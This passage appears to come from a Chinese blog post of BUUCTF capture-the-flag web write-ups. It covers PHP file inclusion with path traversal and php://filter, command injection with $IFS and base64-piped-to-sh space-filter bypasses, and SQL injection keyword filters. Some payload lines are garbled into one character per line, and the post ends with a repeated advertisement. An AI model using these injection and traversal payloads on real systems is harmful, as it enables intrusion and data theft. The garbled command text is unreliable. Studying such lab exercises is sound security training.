mb_strpos($page . '?', '?')
//mb_strops:查找字符串在另一个字符串中首次出现的位置,并且如果 $page 本身不包含 ? 字符,那么 $page . '?' 会确保字符串的末尾有一个 ? 字符,因此 mb_strpos 总是能返回一个位置(即使它是字符串的末尾)。如果 $page 已经包含 ? 字符,那么 mb_strpos 会返回该字符首次出现的位置。
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page); //将$page进行url编码
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
//不进入else分支,可以调用include函数读取传入文件。这里要满足if中的条件为真
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
**值得注意的是,无论是直接访问source.php还是利用?file=source.php查看,返回结果都是**
**同一段代码,且直接访问source.php下面还会显示那张图片,也就是说当前网页其实就是在**
**source.php页面,即我们始终是在在soure.php页面进行传参!!!**
#### 【代码审计】:
**根据代码提示,存在一个hint.php页面,访问这个页面,可以得到flag的提示:**
![](https://img-blog.csdnimg.cn/direct/9f5142dfb0d045179f99e510cd5cb098.png)
即flag在文件ffffllllaaaagggg当中,但是我们目前并不知道该文件在那个目录下(白名单中也没有这个文件
Payload:
http://57222b26-44ad-489f-874a-51b708f283c2.node5.buuoj.cn:81/source.php?file=hint.php?/…/…/…/…/ffffllllaaaagggg
**这里有一篇博客解释了一下构造payload的原理:**
**当前的source.php一般是在html目录下,往上是www,var,然后到根目录,flag一般就放**
**在根目录下面,这里还有一个hint.php?/或者source.php?/,因此需要返回四层才能到根目录。**
[[HCTF 2018]WarmUp全网最详细解释\_[hctf 2018]warmup的解-CSDN博客](https://bbs.csdn.net/topics/618653875)
###
---
## [ACTF2020 新生赛]Include
#### 本题考查:filter伪协议进行文件包含
**关于文件包含伪协议可以参考下面这篇博客:**
[File Inclusion(文件包含漏洞)学习 / 伪协议\_file协议漏洞-CSDN博客](https://bbs.csdn.net/topics/618653875)
#### 【查看页面源代码】:
**并没有什么可利用的**
#### 【查看url】:
**点击tips跳转,url多了?file=flag.php,但该页面只输出了:**
![](https://img-blog.csdnimg.cn/direct/831c91bcaac14e7088fb8b7babd25740.png)
**目前的办法就是查看flag.php文件的源代码,看flag是否在源代码中被注释掉了,此处利用伪**
**协议:**
payload:
http://5165ec02-c72d-4737-85c5-295e639ea759.node3.buuoj.cn/?file=php://filter/read=convert.base64-encode/resource=flag.php
#### 【base64解码】:
![](https://img-blog.csdnimg.cn/direct/86ade1b980b84d2b8bdef6b2a8fd31cb.png)
###
---
## [ACTF2020 新生赛]Exec
#### 本题考查:命令执行
#### 【尝试执行ls命令】:
**输入:127.0.0.1;ls**
![](https://img-blog.csdnimg.cn/direct/6182695a4f3f43c688b0053ff7dd1161.png)
#### 【设法找到与flag相关的文件】:
![](https://img-blog.csdnimg.cn/direct/ea74df3d00834933a155f374e53b9809.png)
![](https://img-blog.csdnimg.cn/direct/6da2dcf500654929afcf587aaa3dd9c1.png)
![](https://img-blog.csdnimg.cn/direct/d7c2881491334baa8ccf55a2b7ba659b.png)
**查看flag文件的内容:**
![](https://img-blog.csdnimg.cn/direct/280a28ff1a3e4b3c81ca7bba18a91342.png)
**!!!注意,上述截图中,输入框中的内容和回显内容不是同步的(即输入框的内容是与结果对应的语句,但结果出来后,输入框中本应该是没有内容的,主要是为了方便看加上去的)**
---
## [GXYCTF2019]Ping Ping Ping
#### 本题考查:命令执行
#### 【尝试一下用分号拼接ip和ls】:
**?ip=127.0.0.1;ls**
![](https://img-blog.csdnimg.cn/direct/fe129c1927af44da860176c60fd5378b.png)
#### 【尝试查看flag.php文件】:
**?ip=127.0.0.1;cat flag.php 结果发现空格被过滤**
![](https://img-blog.csdnimg.cn/direct/a9bb9d3bb64d499c8d8f2fff0a39a581.png)
#### 【用{IFS}绕过空格被过滤】:
**用{IFS}绕过空格,发现标点符号也被过滤了:**
![](https://img-blog.csdnimg.cn/direct/6f7082593b34465a9cae704fe1b74325.png)
#### 【用不含有标点符号的方法绕过空格】:
**用$IFS$1绕过空格,提示flag也有被过滤掉,尝试打开index.php**
![](https://img-blog.csdnimg.cn/direct/4c0d07783cff457881b832900482080c.png)
#### 【分析index.php的源代码】:
**发现好多东西都被过滤了:**
**& / ? \* < x{00}-\x{1f} ' " \ () [] {} 空格 "xxxfxxxlxxxaxxxgxxx" " " "bash"等**
![](https://img-blog.csdnimg.cn/direct/e57490de45d34addaa8c2d19e494f88f.png)
#### 【根据源代码,分析出一下绕过方法】:
* **方法一:将cat flag.php直接用base64编码绕过**
?ip=127.0.0.1;echo$IFS
1
Y
2
F
0
I
G
Z
s
Y
W
c
u
c
G
h
w
∣
b
a
s
e
64
1Y2F0IGZsYWcucGhw|base64
1Y2F0IGZsYWcucGhw∣base64IFS
1
−
d
∣
b
a
s
h
/
/
但是
b
a
s
h
被过滤了
?
i
p
=
127.0.0.1
;
e
c
h
o
1-d|bash //但是bash被过滤了 ?ip=127.0.0.1;echo
1−d∣bash//但是bash被过滤了?ip=127.0.0.1;echoIFS
1
Y
2
F
0
I
G
Z
s
Y
W
c
u
c
G
h
w
∣
b
a
s
e
64
1Y2F0IGZsYWcucGhw|base64
1Y2F0IGZsYWcucGhw∣base64IFS$1-d|sh
//|sh 就是执行前面的echo脚本
* **方法二:空格用$IFS$1绕过,flag利用内联执行绕过:**
//内联:将反引号内命令的输出作为输入执行
?ip=127.0.0.1;cat$IFS$9ls
* **方法三:简单变量替换(利用源码):**
//单个变量
?ip=127.0.0.1;a=g;cat$IFS
1
f
l
a
1fla
1flaa.php
//多个变量
?ip=127.0.0.1;b=ag;a=fl;cat$IFS
1
1
1a$b.php
**具体参考如下:**
[【BUUCTF】[GXYCTF2019] Ping Ping Ping 总结笔记 Writeup-CSDN博客](https://bbs.csdn.net/topics/618653875)
###
---
## [SUCTF 2019]EasySQL
#### 本题考查:sql注入
**这道题不是很明白,附上两篇博客:**
[BUUCTF:[SUCTF 2019]EasySQL-CSDN博客](https://bbs.csdn.net/topics/618653875)
[[SUCTF 2019]EasySQL 1 Writeup(超级详细)\_really easy sql-CSDN博客](https://bbs.csdn.net/topics/618653875)_really easy sql-CSDN博客")
###
---
## [强网杯 2019]随便注
#### 本题考查:sql注入
#### 【判断闭合方式】:
**只有输入1’会报错,那么闭合方式为单引号:**
![](https://img-blog.csdnimg.cn/direct/cc635199d674444089f44e9bf508e4ea.png)
#### 【查看是否有过滤关键字】 :
**直接输入select,发现以下关键字被过滤:**
被过滤的关键字:
select、update、delete、drop、insert、where
//select被过滤,联合查询,报错注入,布尔盲注,时间盲注就都不可以使用了。
//只剩下了堆叠注入(将语句堆叠在一起进行查询)
![](https://img-blog.csdnimg.cn/direct/996341c381ee47828e5946605ca9aa87.png)
## 最后
**自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。**
**深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!**
**因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。**
![img](https://img-blog.csdnimg.cn/img_convert/7ce46b4ba67c6e25257141d74760825e.png)
![img](https://img-blog.csdnimg.cn/img_convert/a09ff7917bcd1a86cec37c1843c5e8b5.png)
![img](https://img-blog.csdnimg.cn/img_convert/6e89e5c0c3415915b44df2dd4a5824ea.png)
![img](https://img-blog.csdnimg.cn/img_convert/97a5071429eb0f82e2a71c5c868d8bcf.png)
![img](https://img-blog.csdnimg.cn/img_convert/8314899514050cd399a296a38a957d74.png)
**既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!**
[**如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!**](https://bbs.csdn.net/topics/618653875)
**由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!**
56PogiB-1715564706725)]
[外链图片转存中...(img-dB7wxWAA-1715564706725)]
[外链图片转存中...(img-Poj3R2ES-1715564706725)]
**既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!**
[**如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!**](https://bbs.csdn.net/topics/618653875)
**由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!**